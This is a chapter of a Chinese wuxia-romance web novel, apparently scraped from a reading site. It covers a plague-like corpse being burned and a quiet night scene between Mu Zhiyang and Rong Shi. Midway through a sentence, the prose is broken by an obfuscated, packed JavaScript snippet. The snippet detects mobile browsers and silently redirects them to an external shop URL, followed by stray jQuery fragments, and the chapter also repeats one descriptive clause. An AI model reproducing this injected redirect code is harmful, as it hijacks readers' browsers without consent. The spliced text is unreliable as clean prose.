默认冷灰
24号文字
方正启体

11. 虚阳上浮

作者:叙茸不醉本书字数:K更新时间:
    等慕芷泱和明棠到了现场,已经围起了很多看热闹的人。


    但估计是因为那人死相实在可怖,还没有一个人上前查看情况。


    直到听见一个人喊了声离那尸体远点。


    声音很熟悉,慕芷泱寻声望去,是容时。


    虽然众人还在状况外,乍听见声音还是下意识往后退了好几步。


    慕芷泱朝明棠送了个眼神,明棠点了点头,去找了昨天的老婆婆,问她要来了几床竹席把那死人围了起来。


    容时则上前把围着看热闹的人一个个带了出去。


    “报官了吗?”慕芷泱低声问才赶来的老婆婆。


    “我现在就去!”那老婆婆大概也第一次经历这种事,看着受了些惊吓,但也知道事情的严重性,转身出了门往衙门方向去了。


    慕芷泱若有所思地看了眼那老婆婆的背影。


    明棠扯了块布捂住了口笔,凑近那尸体仔细打量了好一会儿,直到看见那淌出的粉末里好像东西在蠕动时,瞳孔骤然一缩。


    容时不知道从哪里也找来了好几块纱布,递给了慕芷泱一块,叮嘱她好好捂住口鼻后又把她拉出了门。


    慕芷泱没拒绝,顺着他的力道走了出去。


    “你知道那是什么?”慕芷泱把纱布拿了下来。


    “知道。”这个时候了,容时不想瞒她。


    “我认识一个人,是我……老朋友,还在临安时我去见了他。”容时没看慕芷泱的眼睛,“他略通医术,而且不久前刚从儋州回来,他见过那种病。”


    “他告诉我不能接触到那些粉末。”容时毫无隐瞒。


    “但他不知道怎么治好那些人,只说尸体最好火化。”


    虽说火化,但哪怕坚持到最后的病人也差不多只剩下堆灰沫了。


    “谢谢你告诉我这些。”慕芷泱真心实意得对容时说。


    “只是我们可能暂时去不了儋州了。”慕芷泱转身看着屋子里说道。


    官府的人来得很快,但看见那尸体还是有好几个衙役没忍住吐了出来。


    “是蛊虫。”明棠走到慕芷泱身边,轻轻贴在她耳边说。


    慕芷泱颔首,走到了那群正打算把尸体抬走的衙役面前,“各位官爷,这人的死法蹊跷,刚好我朋友略通医理,觉得很像儋州的疫症。”


    那些衙役刚要伸出去的手又收了回来,相互对视一眼后退出了屋子。


    “那姑娘的朋友有什么高见。”其中一个身量最高的人说,应该是他们的头头。


    明棠闻言上前了一步,“这疫症接触或许会传染,只能就地焚烧。”


    “不可。”又有一个衙役说,“我们还未确认死者身份,更何况是否是儋州的疫症还未可知。”


    说到这他又停了停,面色不善的盯着慕芷泱一行人。“我怎么知道会不会就是你们杀的人,儋州如今封了城,一只蚂蚁都出不来,怎么会有得了病的人跑这来了,说不定就是你们杀的,故意说是儋州疫症,好推脱责任,借衙门的手毁尸灭迹。”


    “这……”原先那个大高个头头也犹豫了。


    “大人不如先回去禀报,这里就派人把手,先不要叫人靠近,等确定了在处置也来得及。”慕芷泱提议道。


    “也是。”那头头叫了个人回去衙门禀报了,然后让剩下的人守住了客栈,原本住在客栈里的人,在听说早上那个死人可能得了儋州出现的怪病时,早都立马收拾东西跑了。


    过了大概半个时辰,回衙门报信的人就回来了,还带回来个中年男人,那中年男人只是远远站门口看了一眼那尸体,就惊恐大叫起来:


    “是怪病!就是那儋州的怪病!”


    众人神色一凛,尤其那官差头头表情更是凝重,看向去回话那个人:“县令大人怎么说。”


    那人凑到他耳边:“大人说如果确定是的话就先悄悄把他烧了。”


    ……


    那尸体最后还是被烧了,为了不使人接触到,有人找来了个大铁钩,几人用力把人从堂屋里拖到院子里,细白的粉末顺着拖拽的路线洒了一路。


    人烧完,他们在剩下的粉末上浇了点石脂水也把它烧没了。


    尸体是处置了,可他从哪里来的呢?他又是谁呢?


    老婆婆说他不是住店的,自己也不知道他为什么会出现在她的客栈里。


    衙门最近也没接到报官说谁家里人走失了,这具尸体就像凭空出现在这里。


    那个官差头头带着人帮忙清扫了地方,带上剩下的东西说要再回去细细禀报,那些跑了的住客也已经派人去追回来。


    又再三强调让慕芷泱一行人暂时不能离开淮水镇,官府会派人暂时跟着她们。


    慕芷泱没为难他们,毕竟这件事经早上看见的人一传,估计外面早闹翻天了。


    原本被封锁得死死的儋州疫症,居然悄无声息地出现在了百里之外的地方,必然引起民心之乱。


    原本的客栈是住不下去了,慕芷泱带着那老婆婆换了个地方住,客栈是不可能了,于是租了个当地人空置下来的小院子。


    院子太久空置,到处是灰尘,众人又开始打扫,好半天过去才算勉强收拾妥当。


    夜里,那老婆婆白天受了惊吓,此刻已经睡下,慕芷泱坐在院子里的小石桌旁想事情。


    月色皎洁,把院子照得亮如白昼,连烛火都不需要点,但哪怕白日里再热,入了夜也会泛起凉意。


    慕芷泱又穿回了原来的绒毛披风。


    容时从房里走出来,难得看见慕芷泱一个人什么都不干的坐着发呆。


    他想了想回屋拿了袋东西。


    慕芷泱早就发现了他,但他没什么反应,她也就没开口说什么。


    本以为他是看太晚了回去休息,但没一会儿他就又出来了,手里还拿着什么东西。


    容时轻轻在慕芷泱旁边的石凳子上坐下,把手里的东西放在了慕芷泱前面。


    慕芷泱没急着打开看,只是眼神略带疑惑的看了看容时又红透了的脸。


    “今天白天吓到了吧。”容时假装没看见她的目光,“那尸体是挺吓人的,你害怕得睡不着很正常。”


    容时很少安慰人,从小到大,在镇北侯府的时候他众星捧月,人人都让着他宠着他,他不需要安慰别人。


    后来跟着云墟子,他不太接触外人,除了偶尔接单杀人都和所有人保持距离,师傅更是不需要他哄。


    对他来说慕芷泱是不一样的,容时现


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17587418|205340||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    在也说不上来为什么不一样,但看她落寞地坐在那,他就莫名想要哄哄她。


    慕芷泱闻言心里一跳,“你怎么知道我在因为白天的事情害怕。”


    虽然白天慕芷泱虽然全程表现得很淡定,看见尸体眉头都没皱过一下,但容时就记得她也才十八岁,十几岁的小姑娘害怕很正常,但要面子装不害怕也很正常。


    虽然她平时都端着一副少年老成的模样,像对什么都不在意,十八岁的年纪过得像八十岁。


    但他记得他送慕芷泱花时,她那双像浸透了春光的、如此鲜活动人的眼睛。


    更何况那尸体确实吓人,哪怕如他一般见惯了死人的,今天乍看见那尸体也楞了两秒,所以这很正常。


    更何况她身份特殊,这么小已经是名震江湖的千机阁阁主,临安首富沈府也与她有着千丝万缕的关系,虽然容时知道,他知道的关于慕芷泱的,只不过冰山一角。


    这次来的人里还有她下属,如果她表现得太害怕,也许会失去人心,让人觉得她不能被追随。


    他比慕芷泱大,还是男人,可以让让她,不丢人。


    想明白了的容时清了清嗓,“好吧,是我害怕,睡不着。”


    说完他又偷摸瞟了眼慕芷泱的表情,见没什么异常才重新开口。


    “这没什么大不了的,是人就会害怕,不是吗?”


    什么乱七八糟的。


    慕芷泱懒得思考,拿起了那个袋子,不大、黑色的、很干净。


    指尖挑开绳结,将袋口撑开一道缝,往里瞧了瞧,是一袋松子仁。


    那松子仁颗颗饱满,剥得干净,连那层薄衣都去尽了,颗颗饱满,大小匀净,剥得干干净净,连那层薄衣都去尽了,露出玉白色的仁肉,还有几颗碎了的,碎渣沉在袋底,细碎地散着。


    她抬头看向容时,却见他正盯着不远处的一个花盆像是发呆。


    她没忍住微微勾了勾嘴角,也没再如昨天那般说自己不喜欢。


    慕芷泱从袋里捏出一颗松子仁,放进嘴里,慢慢嚼了。


    嚼得很慢,腮帮微微动了几下,才咽下去,咽完又停了一停,才伸手去捏第二颗。


    第二颗吃完,她将袋口重新拢上,绳结系回原样,袋子搁在膝上,两只手覆在上面,拇指无意识地来回摩挲着布袋的纹路。


    容时始终没看她,只是手指轻敲桌子的速度越来越快,仔细看指尖处还有细微的划伤。


    “谢谢你。”


    “只是无聊的时候顺便剥了些,我不爱吃,丢了浪费。”


    正当容时尴尬时,就看见了明棠也从屋子里出来了,看样子是找慕芷泱的,容时放心了,有个女子陪她也许更好。


    于是他假装起身伸了个懒腰,说自己困了,要回去睡了。


    慕芷泱点点点头,叫他早点休息,明天有事和他说。


    明棠走过来是刚好和容时擦肩而过,难得分了他个眼神。


    在他进了屋,才坐在了慕芷泱另一边,开口对慕芷泱说,“他是不是有虚阳上浮之症。”


    “什么?”慕芷泱没反应过来。


    明棠不在意的耸耸肩,“那就是回光返照咯。”


    不然脸怎么会红成那样。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)